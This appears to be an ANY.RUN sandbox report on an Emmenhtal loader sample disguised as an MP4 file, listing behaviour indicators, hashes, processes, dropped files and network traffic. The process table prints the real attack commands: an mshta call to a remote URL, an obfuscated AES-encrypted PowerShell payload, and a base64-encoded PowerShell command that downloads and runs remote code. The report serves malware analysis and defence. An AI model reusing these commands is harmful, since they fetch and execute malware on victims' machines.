File name:

MARBI.mp4

Full analysis: https://app.any.run/tasks/5038aa45-7b31-4013-991e-eebae46f1a24
Verdict: Malicious activity
Threats:

First identified in 2024, Emmenhtal operates by embedding itself within modified legitimate Windows binaries, often using HTA (HTML Application) files to execute malicious scripts. It has been linked to the distribution of malware such as CryptBot and Lumma Stealer. Emmenhtal is typically disseminated through phishing campaigns, including fake video downloads and deceptive email attachments.

Malware Trends Tracker     >>>
Analysis date: December 13, 2024, 20:32:54
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
emmenhtal
loader
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines (65536), with no line terminators
MD5:

E2FE6D222C33579954D5B13FBFB38F8F

SHA1:

F744370A7EE2CA2AF1C1942F256DB908543638FF

SHA256:

74F22344728037B80B1B49340E3BCD3ABD5A9ABC89A36169ED59D9C674DA49F2

SSDEEP:

6144:RamDsYr+XyVVVpVGVtV6V0VxVJVCVwVLVK:Rgs+XyVVVpVGVtV6V0VxVJVCVwVLVK

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • EMMENHTAL loader has been detected

      • powershell.exe (PID: 6408)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 6408)

    • Uses AES cipher (POWERSHELL)

      • powershell.exe (PID: 6408)

    • Changes powershell execution policy (Unrestricted)

      • mshta.exe (PID: 6756)
      • powershell.exe (PID: 6408)

  • SUSPICIOUS

    • Application launched itself

      • powershell.exe (PID: 6408)

    • Starts a new process with hidden mode (POWERSHELL)

      • powershell.exe (PID: 6408)

    • Executes script without checking the security policy

      • powershell.exe (PID: 6408)
      • powershell.exe (PID: 2324)

    • Writes data into a file (POWERSHELL)

      • powershell.exe (PID: 6408)
      • powershell.exe (PID: 2324)

    • Probably obfuscated PowerShell command line is found

      • mshta.exe (PID: 6756)

    • The process bypasses the loading of PowerShell profile settings

      • mshta.exe (PID: 6756)
      • powershell.exe (PID: 6408)

    • Starts POWERSHELL.EXE for commands execution

      • mshta.exe (PID: 6756)
      • powershell.exe (PID: 6408)

    • Base64-obfuscated command line is found

      • powershell.exe (PID: 6408)

    • CSC.EXE is used to compile C# code

      • csc.exe (PID: 3420)

    • BASE64 encoded PowerShell command has been detected

      • powershell.exe (PID: 6408)

    • Creates new GUID (POWERSHELL)

      • powershell.exe (PID: 2324)

    • Executable content was dropped or overwritten

      • csc.exe (PID: 3420)
      • powershell.exe (PID: 2324)

  • INFO

    • The process uses the downloaded file

      • mshta.exe (PID: 6756)

    • Uses string replace method (POWERSHELL)

      • powershell.exe (PID: 6408)

    • Checks whether the specified file exists (POWERSHELL)

      • powershell.exe (PID: 6408)

    • Uses string split method (POWERSHELL)

      • powershell.exe (PID: 6408)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 6408)
      • powershell.exe (PID: 2324)

    • Reads Internet Explorer settings

      • mshta.exe (PID: 6756)

    • Checks supported languages

      • cvtres.exe (PID: 1804)
      • csc.exe (PID: 3420)
      • VCDDaemon.exe (PID: 6240)

    • Disables trace logs

      • powershell.exe (PID: 2324)

    • Converts byte array into ASCII string (POWERSHELL)

      • powershell.exe (PID: 2324)

    • Create files in a temporary directory

      • csc.exe (PID: 3420)

    • The executable file from the user directory is run by the Powershell process

      • VCDDaemon.exe (PID: 6240)

    • Checks proxy server information

      • powershell.exe (PID: 2324)

    • Reads the machine GUID from the registry

      • csc.exe (PID: 3420)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
138
Monitored processes
10
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start powershell.exe no specs conhost.exe no specs mshta.exe #EMMENHTAL powershell.exe no specs conhost.exe no specs powershell.exe conhost.exe no specs csc.exe cvtres.exe no specs vcddaemon.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
6460"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" mshta https://yxyz.zyxy.org/MARBI.mp4?u=a3a8cdc1-6175-42ba-93f5-f973673611f0C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6468\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6756"C:\WINDOWS\system32\mshta.exe" https://yxyz.zyxy.org/MARBI.mp4?u=a3a8cdc1-6175-42ba-93f5-f973673611f0C:\Windows\System32\mshta.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\wldp.dll
6408"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function WXndL($cIxW){return -split ($cIxW -replace '..', '0xf7f81a39-5f63-5b42-9efd-1f13b5431005amp; ')};$Ggxu = WXndL('7A5B64CCD96D57D64EFE4A812D2BC4BDE9AE1B1E7F65468F80EA3D5B60B7D7C15F2443A3E6237EAB1F9F3E91A5D835EB18A448CE892FC625BA5CB4E7734FA0B152E164A9AE08D0FEF9B18C700BA2C123C96722C862D347993D0AA1AF4AEEBDD9B33579FD0C0E3E8F4ED828B8EBE67830131A567BC4410ED3DE3DB182881AB06E5D1206E78F5AB5BC320CEB0CD1230E202D819C71580B2958CC5C0E8D1B8BD3370ED4F7231F1F5798BCD1F65460270B2E1E6ED59863C8B5F03F81A685BAD5E7B10E0FB9D1E708A9E5C024FA30DDC882FC492E0DF958455665B085A89C33E2271C0460170B1A544FCCC02AAD22554D5904FEDB87E26616ADC6815B78E3F211ECE66EE7D5818C58FD2367560D21420D5A870A96BF6813F16918FD2CAE995E81E5D5EEE764267ADB4E5F453DAC47D2AA762258E397C75CFF7333F5692FC5E25513BAC939EC2D35D580E47B773762AFA92B8C33B29E596DD3C52FB4B99790BC72803AD41F0A8088B6CBED15134D7A3795F91350D8363992E47BC33998786B02F2BC54DEADA79DA25CDD4E8456CDE732FF3D1BD51FFB619BBF4745E1D5B394630DE4C65145A4F40D54FC2FDFFF60DAC2370A34BE793B19A62E7BFB4C17185C1DC5324F37FFB32F313CB1BD87D5ED80FDE6998A2FA6EAE031759049B99236C74EBE0FCAA0366DFBD6D5203BB793793C30DD6C7711F139487A16F956DED2456E89DA6E8075E848518861F83E12FE6B6D9418FC30B86423F75566F6B84368C093B9C427A827CCA5508786A5C0C9C4FDC8098CF6F6387EF1B6779E7520FFA6CB54F1831F4AA87E12F048C0CF6F7626832EEACA8F18970723839BC8DF8E4A95B0792580CB979CFC7127742BFAC8575A87620516BE0330CEEEC026AE6DEF88079288ADA091993D6A1E4095B56E7A4972D51CC3305B770FFD659D6DF1A16842FAB38AB77C79C33863A3DDD3492894F183BE23A2F13E9B123C61AAA62EA17F6E370D5F5455BDCBE40447C979E2071A5E1C73DAB66505D5097B0CE259E3740A4D336C5D9D478B4BDD16372BC7EDFE1881DEA74E5B9CE7264F939FC71C1A404155682C546391908E072FABB77AFA55EF85CF8D463AF296CB5A97F75A04C27BB522CBD6647D3486CE6F1255A20C9F533CBB8E63861054920A4CAC251BCE2877D09D44209DF14F219EFB4C83461ED25DD05A3920BE2B123C394CC75C22C37A1CBE663656DBBC5E092E0B0019D2990501F5747EEBCB04B628410E9A300AEF287CFF0E6891F2F376C686F5FA861C85F88D563CE6DA2BAF185CC7C432FBC4291B50D6C71EC3AF86F793050E7DA9386849A66D23F884A8EBB084B1E52AFD97FC48ED50A9E6127344548B3E1D3FE46A9B700E23523933F2658A2E11359A7801DCFA20518A8C8ECFB897185694E264D854CE8307694F52B05B1F77A162CF1DD6266ACF5A7558C4494FF2E5B813EA6AA2F10A626FA53624CAEFB65B0BEBCCBCE907FC29AFF64D665F48576317019CB117E486DB9344CB12B5A4C8C99244F69A2C044F0C2B1E2C015323E6F2E9963937F86A2F610B470A787592B51B4A8A0AC1BEBCFBA6BDBBAE601BE25E9697ED1F1F6620B93F5E571C3E1A4F0E8C47093BF22DA12E6490B3AC878564D340B19F5614B1B063BD182E6D649D69AFD32FB57DDA451BB8764142FB0F42BE6E0189467BC1CB105D5FB522273E3782FDAA9E79D531A3BB879EA59043A20FED1EB60716386B9AAB98DC3EE64A1E470DA50DAC0026141747D5C0EED0044EC0D0915C02328F86F0BB7D373FB02861150AB1351E5702E10845E364532DF7DA550E8FADD43BC553C286B9362C8D94A1B01CBEED6A0696A644B4B1C4C07D01BE9FFFFE5E695FE16EEBAF8905BD570BE4B36D0F1C07D860553FBE42A1F44FEBF0A667E85D3544FE91FF701BE78DE167BB6758BB19538D1418D9B1403CFBD5C98DC579BAB71C1BA2BFB6A2ED52BC640E9E45881734D627572BBB24767BF9105E290AED4FD0AD07E069C341D94CD9D253482474A2AFEACE895331A6A7C2344244D9883CB83DB04E20F24E807A0C42FAD54148764C3B647F7B86743F03E946F8ABAA4037DF00724040C58C639B64617CEC513964C0AEB7450990964F332CA73B69AE563F357EFE71A45ADB76F5F1F74B9EA094EDB014AF7DE3832D006B489635D35933F45D8722789F646F6B34118D96044BF40BB9C6D5C235CC72225C1E2FF06D17FFCF3119AC497D69763C1EA4752D9DF918E3F7BC1F5DA270F722684C1062428E1B4B4DFAC9D4B8A3AA2FED312CDC55749F56329AABB058B493B229AFE6188C2CD6E5EF7D4615BAC6C376F0A1C60BE569EDE1D7D229C0A409E716C9881B8ED8A6AF7DFF8E51394FE00530F124BF25F72F1BB0C40D8756D4DC53C99C7706F76566458303AD17ABA13977CBB9D9E8E0D6A23C3AC29863BA5C05EC614C2DC13F1D86D3E8B6E32547054893B928DAF467A0E285FEB70CD8521F803FA7DCB6E68597E4F10DC19975F6A9FA3BB73D000E25D904399788A042CCB2A8ACEBC94D9F7176B6C42A8ADF53E078B0DB3D1DB4FA018C20200519D0C6BDAD8C667BC081BB6E98837F869A01FCB4F5BFA3FF6B9DA59A6CC6F14874D12DA9C94A924E23E1C9A2F10B24B2C808A191CAEF430B6BCCDB8ECC67C81EBDF1946F84922DD6237AD44AA75DAE5B417CBC7F1935089D115B32E7BEA92467DF4B34887940BE275A826DCBE8FBCD8572CF31DFF6137DA4FA652F60A4C96E8EE7084DF2015478E3BD67EDD0BDFB00AF09D7DE181E5AA043DE6F0FC38EB1345B172BB996F129E450352658040763C3FD33D898F576ED092EBE78EB3CE7A76AC530782DAFA0D77E713A4D141695047421A84E93C5C6879D829FA96C6E0E217D62FECC4DD0FB16426652883165B9360C91E805AD040FAF4EA2E2740FA5E9E6F3AE24428D754B4AB2A539E552C98664EEC4BE0178F55FEA933EF0A6B79A49D0F87E95E22DDD03EA3EDFBFAABE60356A7A00DA80A4B13179CF6AD7A4055AAFC41FD0B8B3D8EFA93BC1117E123BD77B17F73F8C6E2EE3D01BFDBEEC94A9522C0A1A5E63506CC7F53BB9BC8DF54090B9989982A1686806E7CBC8FFCDD27577A949E1959B8D7B4B07DD342D475CFBCCE589EECF4466070B9CA53B749253301F99A3C0084ABDFB98EB91E40D1B32895AAE86DCA9CA7B851F00477324B25F71DE93C8B9BB13C56A76F42A26ED97C0915187E6F5B6FC54C40843167185BE51622CE24F901B16B435C2DDA0A5401210B6984C5C3BE6C2335BE875BFAA261EB865AD3D047FBD55B975D9733284ABA3143900958E64193E0A4FAEB858C56D772D7108BA4829F9ECAB503E0C6BF8A807447723CA7C4417C128182FE0DC0B420E8B7C1B18A137C48E31AC0E4E723CF849010F8A2937C1D119B207B22A30AB798DB13ACF4BD7E3FEC18AE6693BBD9FFA6017F2BB4A8BCDE923FAD4066B7438E54189066A0E5BE7FD3EA4AD53AE465432AA738EF4A7176ED78829C803418AD7B3FFDF34DA80F24901748099068BAD20F0B6C75D5CBFAE57169CFA3A63A30790041DACF0733B7A61EA68B6DB4BAA3832C2FD159B1181AA974048F90B196471D825E638D56773F684475EB8211E807A21E574D6A5F63D923A169C4621973867E9B1FC18CC72C11E65C8077634918704FBDF878CAD8411014CA1319BCC88017DC5D930D43F0A3AB7E96D711475123876D8DF4F97924CAB0F392C26647152892055A197E9E15E9ADC078BFDF053C973F4F43CF80CC2846AC337DB1CDF4C600FB6B7F44919C555861CEBAD623302738419EF1F8C12A52E4B356B75E6B79DEBB7E9967E592F3D5F9BBEFEA63B88F6545FE25D9BE8AAF6640FC7F9A623282BD4A790F5BF18A8BE05A6D7860997549B97DA3E886EC6FF35A01AF07E844664A44EF19C5476FA04B41688491C9F8396B3D8BC34EF0AE26A77236FE6A64AEC24F73831D893CCC31663593FE27BE686C8BA');$LZbV=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((WXndL('61597869676545424D6F537659656151')),[byte[]]::new(16)).TransformFinalBlock($Ggxu,0,$Ggxu.Length)); & $LZbV.Substring(0,3) $LZbV.Substring(305)C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6400\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2324"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -ExecutionPolicy UnRestricted -Enc bABzACAAcABhAG4AeQBvACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEUAbQBpACAAJwBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAGcATQBXAEkAcABFAEgATgBWAGkAewBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAcwB0AHIAaQBuAGcAIABEAHYAZwB5AGkASgB4AHUAVAB0ACgAcwB0AHIAaQBuAGcAIAB1AHIAbAApAHsAcgBlAHQAdQByAG4AIAAoAG4AZQB3ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACgAKQApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAdQByAGwAKQA7AH0AfQAnADsAUwBlAHQALQBWAGEAcgBpAGEAYgBsAGUAIABCAEYAIAAnAGgAdAB0AHAAcwA6AC8ALwBuAG8AcABhAHMAdABlAC4AbgBlAHQALwBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAJwA7ACYAKABHAFYAIABFACoAdABlAHgAKgApAC4AVgBhAGwAdQBlAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQB8AEcATQApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQAuACgAKAAoAEcAVgAgAEUAKgB0AGUAeAAqACkALgBWAGEAbAB1AGUAfABHAE0AKQBbADYAXQAuAE4AYQBtAGUAKQAuAFAAcwBPAGIAagBlAGMAdAAuAE0AZQB0AGgAbwBkAHMAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBjAGwAaQBrAGUAJwBHACoAZAAnAH0AKQAuAE4AYQBtAGUAKQAuAEkAbgB2AG8AawBlACgAKABHAFYAIABFACoAdABlAHgAKgApAC4AVgBhAGwAdQBlAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQB8AEcATQApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQAuACgAKAAoAEcAVgAgAEUAKgB0AGUAeAAqACkALgBWAGEAbAB1AGUAfABHAE0AKQBbADYAXQAuAE4AYQBtAGUAKQB8AEcATQB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGMAbABpAGsAZQAnACoAbwBtACoAZQAnAH0AKQAuAE4AYQBtAGUAKQAuAEkAbgB2AG8AawBlACgAJwAqAC0AVAB5ACoAZQAnACwAMQAsADEAKQAsAFsATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBDAG8AbQBtAGEAbgBkAFQAeQBwAGUAcwBdADoAOgBDAG0AZABsAGUAdAApAC0ATABhACAAQwBTAGgAYQByAHAAIAAoAEwAUwAgAFYAYQByAGkAYQBiAGwAZQA6AC8ARQBtAGkAKQAuAFYAYQBsAHUAZQA7ACgAWwBnAE0AVwBJAHAARQBIAE4AVgBpAF0AOgA6AEQAdgBnAHkAaQBKAHgAdQBUAHQAKAAoAEcAVgAgAEIARgAgAC0AVgBhAGwAdQBlAE8AbgBsACkAKQApAHwAJgAoAEcASQAgAEEAbABpAGEAcwA6AEkARQAqACkA C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\atl.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\user32.dll
c:\windows\system32\ucrtbase.dll
2420\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
3420"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\cnlkzwg1.cmdline"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Visual C# Command Line Compiler
Exit code:
0
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework64\v4.0.30319\csc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ole32.dll
1804C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RES8C16.tmp" "c:\Users\admin\AppData\Local\Temp\CSCFC36DFC6C11246C39BF33B5AA756AFD4.TMP"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe—csc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Resource File To COFF Object Conversion Utility
Exit code:
0
Version:
14.32.31326.0
Modules
Images
c:\windows\microsoft.net\framework64\v4.0.30319\cvtres.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase_clr0400.dll
6240"C:\Users\admin\AppData\Local\Temp\056c5d3c-a7a1-40e4-be69-6374daeba20b\VCDDaemon.exe" C:\Users\admin\AppData\Local\Temp\056c5d3c-a7a1-40e4-be69-6374daeba20b\VCDDaemon.exe—powershell.exe
User:
admin
Company:
Elaborate Bytes AG
Integrity Level:
MEDIUM
Description:
Virtual CloneDrive Daemon
Exit code:
0
Version:
5, 4, 5, 1
Modules
Images
c:\users\admin\appdata\local\temp\056c5d3c-a7a1-40e4-be69-6374daeba20b\vcddaemon.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\user32.dll
Total events
16 485
Read events
16 482
Write events
3
Delete events
0

Modification events

(PID) Process:(6756) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(6756) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(6756) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
Executable files
4
Suspicious files
11
Text files
10
Unknown types
1

Dropped files

PID
Process
Filename
Type
6460powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_rywfkren.3td.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6756mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8der
MD5:971C514F84BBA0785F80AA1C23EDFD79
SHA256:F157ED17FCAF8837FA82F8B69973848C9B10A02636848F995698212A08F31895
2324powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_zruznobo.104.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
2324powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_4mtgk4kz.adm.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6408powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_g4ihyb1p.fan.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6756mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\MARBI[1].mp4text
MD5:E2FE6D222C33579954D5B13FBFB38F8F
SHA256:74F22344728037B80B1B49340E3BCD3ABD5A9ABC89A36169ED59D9C674DA49F2
6756mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12der
MD5:67E486B2F148A3FCA863728242B6273E
SHA256:FACAF1C3A4BF232ABCE19A2D534E495B0D3ADC7DBE3797D336249AA6F70ADCFB
2324powershell.exeC:\Users\admin\AppData\Local\Temp\cnlkzwg1.0.cstext
MD5:8C50A926E37FE5154851BFFE45F2097C
SHA256:0F97FB16C4F9F6856E6D4AE816EF0076EF96A6F68394E32F1B7B0FCFF24ED283
3420csc.exeC:\Users\admin\AppData\Local\Temp\CSCFC36DFC6C11246C39BF33B5AA756AFD4.TMPbinary
MD5:23C15BCC8F2DBE08A265CA287BE7B6AC
SHA256:5881CE236AC4C625991164D0D9B6E017D54725124E1DD592A33890DAF5CBCC20
6460powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msbinary
MD5:C9D03E09D82CE1492B751BF9941ED374
SHA256:698D2EDB15A8ADFA255C21B08ABC3121FED7152B611DD8F6F58473F710BA9044
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
9
TCP/UDP connections
40
DNS requests
25
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1176
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
5064
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
6756
mshta.exe
GET
200
142.250.186.99:80
http://c.pki.goog/r/gsr1.crl
unknown
—
—
whitelisted
6756
mshta.exe
GET
200
142.250.186.99:80
http://c.pki.goog/r/r4.crl
unknown
—
—
whitelisted
848
SIHClient.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
848
SIHClient.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
—
—
GET
200
2.19.11.120:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
6612
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
whitelisted
—
—
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
192.168.100.255:137
—
—
—
whitelisted
4712
MoUsoCoreWorker.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
2736
svchost.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
—
—
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
—
—
2.19.11.120:80
crl.microsoft.com
Elisa Oyj
NL
whitelisted
—
—
88.221.169.152:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
5064
SearchApp.exe
2.23.209.150:443
www.bing.com
Akamai International B.V.
GB
whitelisted
5064
SearchApp.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
1076
svchost.exe
184.28.89.167:443
go.microsoft.com
AKAMAI-AS
US
